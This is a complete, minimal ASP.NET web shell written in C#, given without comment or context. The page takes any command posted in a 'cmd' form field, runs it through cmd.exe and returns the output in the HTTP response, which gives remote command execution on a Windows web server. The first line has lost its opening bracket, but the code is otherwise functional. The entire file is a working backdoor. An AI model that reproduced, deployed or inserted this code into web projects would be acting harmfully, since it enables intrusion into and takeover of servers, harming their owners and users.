%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %>
<% if (Request.Form["cmd"] != null) { string cmd = Request.Form["cmd"]; Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/c " + cmd; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.UseShellExecute = false; process.Start(); Response.Write(process.StandardOutput.ReadToEnd()); } %>